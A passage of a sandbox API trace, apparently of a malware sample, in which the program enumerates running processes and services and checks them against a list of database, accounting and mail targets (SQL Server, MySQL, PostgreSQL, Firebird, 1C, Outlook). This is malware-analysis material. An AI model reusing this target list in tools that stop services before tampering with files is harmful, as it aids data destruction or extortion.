[0240.213] lstrcmpiW (lpString1="postgres.exe", lpString2="lsm.exe") returned 1 [0240.213] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="lsm.exe") returned 1 [0240.213] lstrcmpiW (lpString1="mysqld.exe", lpString2="lsm.exe") returned 1 [0240.213] lstrcmpiW (lpString1="sqlservr.exe", lpString2="lsm.exe") returned 1 [0240.213] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x254, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.214] lstrlenW (lpString="svchost.exe") returned 11 [0240.214] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0240.214] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0240.214] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0240.214] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0240.214] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0240.214] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0240.214] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0240.214] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x298, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.215] lstrlenW (lpString="svchost.exe") returned 11 [0240.215] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0240.216] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0240.216] lstrcmpiW (lpString1="outlook.exe", lpString2="svchost.exe") returned -1 [0240.216] lstrcmpiW (lpString1="postgres.exe", lpString2="svchost.exe") returned -1 [0240.216] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="svchost.exe") returned -1 [0240.216] lstrcmpiW (lpString1="mysqld.exe", lpString2="svchost.exe") returned -1 [0240.216] lstrcmpiW (lpString1="sqlservr.exe", lpString2="svchost.exe") returned -1 [0240.216] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.217] lstrlenW (lpString="svchost.exe") returned 11 [0240.217] lstrcmpiW (lpString1="1c8.exe", lpString2="svchost.exe") returned -1 [0240.217] lstrcmpiW (lpString1="1cv77.exe", lpString2="svchost.exe") returned -1 [0240.217] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x338, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x12, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.222] lstrlenW (lpString="svchost.exe") returned 11 [0240.222] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x368, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.223] lstrlenW (lpString="svchost.exe") returned 11 [0240.224] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3a8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x2c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0240.225] lstrlenW (lpString="audiodg.exe") returned 11 [0240.225] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.226] lstrlenW (lpString="svchost.exe") returned 11 [0240.226] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x1ac, pcPriClassBase=8, dwFlags=0x0, szExeFile="userinit.exe")) returned 1 [0240.227] lstrlenW (lpString="userinit.exe") returned 12 [0240.227] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x35c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1e, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0240.228] lstrlenW (lpString="explorer.exe") returned 12 [0240.228] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x410, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x338, pcPriClassBase=8, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0240.229] lstrlenW (lpString="dwm.exe") returned 7 [0240.229] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x444, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.230] lstrlenW (lpString="svchost.exe") returned 11 [0240.230] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x35c, pcPriClassBase=8, dwFlags=0x0, szExeFile="winhost.exe")) returned 1 [0240.231] lstrlenW (lpString="winhost.exe") returned 11 [0240.231] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0240.232] lstrlenW (lpString="spoolsv.exe") returned 11 [0240.233] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x580, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0240.234] lstrlenW (lpString="svchost.exe") returned 11 [0240.235] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x598, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1c8, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhost.exe")) returned 1 [0240.235] lstrlenW (lpString="taskhost.exe") returned 12 [0240.236] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 1 [0240.236] lstrlenW (lpString="reader_sl.exe") returned 13 [0240.237] Process32NextW (in: hSnapshot=0x37c, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x4c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="reader_sl.exe")) returned 0 [0240.237] CloseHandle (hObject=0x37c) returned 1 [0240.238] Sleep (dwMilliseconds=0x1f4) [0241.222] OpenSCManagerW (lpMachineName=0x0, lpDatabaseName=0x0, dwDesiredAccess=0x4) returned 0x62e1a8 [0241.574] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x0, cbBufSize=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x0, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 0 [0241.577] GetLastError () returned 0xea [0241.577] RtlAllocateHeap (HeapHandle=0x590000, Flags=0x0, Size=0xdea) returned 0x42a0060 [0241.577] EnumServicesStatusExW (in: hSCManager=0x62e1a8, InfoLevel=0x0, dwServiceType=0x30, dwServiceState=0x1, lpServices=0x42a0060, cbBufSize=0xdea, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0, pszGroupName=0x0 | out: lpServices=0x42a0060, pcbBytesNeeded=0x217ff44, lpServicesReturned=0x217ff5c, lpResumeHandle=0x0) returned 1 [0241.578] CloseServiceHandle (hSCObject=0x62e1a8) returned 1 [0241.579] lstrlenW (lpString="AudioEndpointBuilder") returned 20 [0241.579] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.579] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioEndpointBuilder") returned 1 [0241.579] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioEndpointBuilder") returned 1 [0241.579] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioEndpointBuilder") returned 1 [0241.579] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioEndpointBuilder") returned 1 [0241.580] lstrlenW (lpString="AudioSrv") returned 8 [0241.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="AudioSrv") returned 1 [0241.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="AudioSrv") returned 1 [0241.580] lstrcmpiW (lpString1="sqlwriter", lpString2="AudioSrv") returned 1 [0241.580] lstrcmpiW (lpString1="mssqlserver", lpString2="AudioSrv") returned 1 [0241.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="AudioSrv") returned 1 [0241.580] lstrlenW (lpString="BFE") returned 3 [0241.580] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="BFE") returned 1 [0241.580] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="BFE") returned 1 [0241.580] lstrcmpiW (lpString1="sqlwriter", lpString2="BFE") returned 1 [0241.580] lstrcmpiW (lpString1="mssqlserver", lpString2="BFE") returned 1 [0241.580] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="BFE") returned 1 [0241.580] lstrlenW (lpString="CryptSvc") returned 8 [0241.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CryptSvc") returned 1 [0241.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CryptSvc") returned 1 [0241.581] lstrcmpiW (lpString1="sqlwriter", lpString2="CryptSvc") returned 1 [0241.581] lstrcmpiW (lpString1="mssqlserver", lpString2="CryptSvc") returned 1 [0241.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CryptSvc") returned 1 [0241.581] lstrlenW (lpString="CscService") returned 10 [0241.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="CscService") returned 1 [0241.581] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="CscService") returned 1 [0241.581] lstrcmpiW (lpString1="sqlwriter", lpString2="CscService") returned 1 [0241.581] lstrcmpiW (lpString1="mssqlserver", lpString2="CscService") returned 1 [0241.581] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="CscService") returned 1 [0241.581] lstrlenW (lpString="DcomLaunch") returned 10 [0241.581] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DcomLaunch") returned 1 [0241.582] lstrcmpiW (lpString1="sqlwriter", lpString2="DcomLaunch") returned 1 [0241.582] lstrcmpiW (lpString1="mssqlserver", lpString2="DcomLaunch") returned 1 [0241.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DcomLaunch") returned 1 [0241.582] lstrlenW (lpString="Dhcp") returned 4 [0241.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dhcp") returned 1 [0241.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dhcp") returned 1 [0241.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Dhcp") returned 1 [0241.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Dhcp") returned 1 [0241.582] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dhcp") returned 1 [0241.582] lstrlenW (lpString="Dnscache") returned 8 [0241.582] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Dnscache") returned 1 [0241.582] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Dnscache") returned 1 [0241.582] lstrcmpiW (lpString1="sqlwriter", lpString2="Dnscache") returned 1 [0241.582] lstrcmpiW (lpString1="mssqlserver", lpString2="Dnscache") returned 1 [0241.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Dnscache") returned 1 [0241.583] lstrlenW (lpString="DPS") returned 3 [0241.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="DPS") returned 1 [0241.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="DPS") returned 1 [0241.583] lstrcmpiW (lpString1="sqlwriter", lpString2="DPS") returned 1 [0241.583] lstrcmpiW (lpString1="mssqlserver", lpString2="DPS") returned 1 [0241.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="DPS") returned 1 [0241.583] lstrlenW (lpString="eventlog") returned 8 [0241.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="eventlog") returned 1 [0241.583] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="eventlog") returned 1 [0241.583] lstrcmpiW (lpString1="sqlwriter", lpString2="eventlog") returned 1 [0241.583] lstrcmpiW (lpString1="mssqlserver", lpString2="eventlog") returned 1 [0241.583] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="eventlog") returned 1 [0241.583] lstrlenW (lpString="EventSystem") returned 11 [0241.583] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="EventSystem") returned 1 [0241.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="EventSystem") returned 1 [0241.584] lstrcmpiW (lpString1="sqlwriter", lpString2="EventSystem") returned 1 [0241.584] lstrcmpiW (lpString1="mssqlserver", lpString2="EventSystem") returned 1 [0241.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="EventSystem") returned 1 [0241.584] lstrlenW (lpString="gpsvc") returned 5 [0241.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="gpsvc") returned -1 [0241.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="gpsvc") returned -1 [0241.584] lstrcmpiW (lpString1="sqlwriter", lpString2="gpsvc") returned 1 [0241.584] lstrcmpiW (lpString1="mssqlserver", lpString2="gpsvc") returned 1 [0241.584] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="gpsvc") returned 1 [0241.584] lstrlenW (lpString="LanmanWorkstation") returned 17 [0241.584] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.584] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LanmanWorkstation") returned -1 [0241.584] lstrcmpiW (lpString1="sqlwriter", lpString2="LanmanWorkstation") returned 1 [0241.584] lstrcmpiW (lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0241.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0241.585] lstrlenW (lpString="lmhosts") returned 7 [0241.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0241.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0241.585] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0241.585] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0241.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0241.585] lstrlenW (lpString="MMCSS") returned 5 [0241.585] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MMCSS") returned -1 [0241.585] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MMCSS") returned -1 [0241.585] lstrcmpiW (lpString1="sqlwriter", lpString2="MMCSS") returned 1 [0241.585] lstrcmpiW (lpString1="mssqlserver", lpString2="MMCSS") returned 1 [0241.585] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MMCSS") returned 1 [0241.585] lstrlenW (lpString="MpsSvc") returned 6 [0241.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0241.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0241.586] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0241.586] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0241.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0241.586] lstrlenW (lpString="NlaSvc") returned 6 [0241.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0241.586] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0241.586] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0241.586] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0241.586] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0241.586] lstrlenW (lpString="nsi") returned 3 [0241.586] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0241.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0241.587] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0241.587] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0241.587] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0241.587] lstrlenW (lpString="PcaSvc") returned 6 [0241.587] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0241.587] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0241.587] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0241.587] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0241.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0241.597] lstrlenW (lpString="PlugPlay") returned 8 [0241.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0241.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0241.597] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0241.597] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0241.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0241.597] lstrlenW (lpString="Power") returned 5 [0241.597] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0241.597] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0241.597] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0241.597] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0241.597] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0241.597] lstrlenW (lpString="ProfSvc") returned 7 [0241.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0241.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0241.598] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0241.598] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0241.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0241.598] lstrlenW (lpString="RpcEptMapper") returned 12 [0241.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0241.598] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0241.598] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0241.598] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0241.598] lstrlenW (lpString="RpcSs") returned 5 [0241.598] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0241.598] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0241.598] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0241.599] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0241.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0241.599] lstrlenW (lpString="SamSs") returned 5 [0241.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0241.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0241.599] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0241.599] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0241.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0241.599] lstrlenW (lpString="Schedule") returned 8 [0241.599] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0241.599] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0241.599] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0241.599] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0241.599] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0241.599] lstrlenW (lpString="SENS") returned 4 [0241.600] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0241.600] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0241.600] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0241.600] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0241.600] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0241.601] lstrlenW (lpString="ShellHWDetection") returned 16 [0241.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0241.601] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0241.601] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0241.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0241.601] lstrlenW (lpString="Spooler") returned 7 [0241.601] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0241.601] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0241.601] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0241.601] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0241.601] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0241.602] lstrlenW (lpString="SysMain") returned 7 [0241.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0241.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0241.602] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0241.602] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0241.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SysMain") returned -1 [0241.602] lstrlenW (lpString="Themes") returned 6 [0241.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Themes") returned -1 [0241.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Themes") returned -1 [0241.602] lstrcmpiW (lpString1="sqlwriter", lpString2="Themes") returned -1 [0241.602] lstrcmpiW (lpString1="mssqlserver", lpString2="Themes") returned -1 [0241.602] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Themes") returned -1 [0241.602] lstrlenW (lpString="TrkWks") returned 6 [0241.602] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="TrkWks") returned -1 [0241.602] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="TrkWks") returned -1 [0241.603] lstrcmpiW (lpString1="sqlwriter", lpString2="TrkWks") returned -1 [0241.603] lstrcmpiW (lpString1="mssqlserver", lpString2="TrkWks") returned -1 [0241.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="TrkWks") returned -1 [0241.603] lstrlenW (lpString="UxSms") returned 5 [0241.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="UxSms") returned -1 [0241.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="UxSms") returned -1 [0241.603] lstrcmpiW (lpString1="sqlwriter", lpString2="UxSms") returned -1 [0241.603] lstrcmpiW (lpString1="mssqlserver", lpString2="UxSms") returned -1 [0241.603] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="UxSms") returned -1 [0241.603] lstrlenW (lpString="Winmgmt") returned 7 [0241.603] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Winmgmt") returned -1 [0241.603] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Winmgmt") returned -1 [0241.603] lstrcmpiW (lpString1="sqlwriter", lpString2="Winmgmt") returned -1 [0241.603] lstrcmpiW (lpString1="mssqlserver", lpString2="Winmgmt") returned -1 [0241.604] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Winmgmt") returned -1 [0241.604] HeapFree (in: hHeap=0x590000, dwFlags=0x0, lpMem=0x42a0060 | out: hHeap=0x590000) returned 1 [0241.604] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x380 [0241.609] Process32FirstW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0241.610] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0241.611] lstrlenW (lpString="System") returned 6 [0241.611] lstrcmpiW (lpString1="1c8.exe", lpString2="System") returned -1 [0241.611] lstrcmpiW (lpString1="1cv77.exe", lpString2="System") returned -1 [0241.611] lstrcmpiW (lpString1="outlook.exe", lpString2="System") returned -1 [0241.611] lstrcmpiW (lpString1="postgres.exe", lpString2="System") returned -1 [0241.611] lstrcmpiW (lpString1="mysqld-nt.exe", lpString2="System") returned -1 [0241.611] lstrcmpiW (lpString1="mysqld.exe", lpString2="System") returned -1 [0241.611] lstrcmpiW (lpString1="sqlservr.exe", lpString2="System") returned -1 [0241.611] Process32NextW (in: hSnapshot=0x380, lppe=0x217fd34 | out: lppe=0x217fd34*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x104, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, 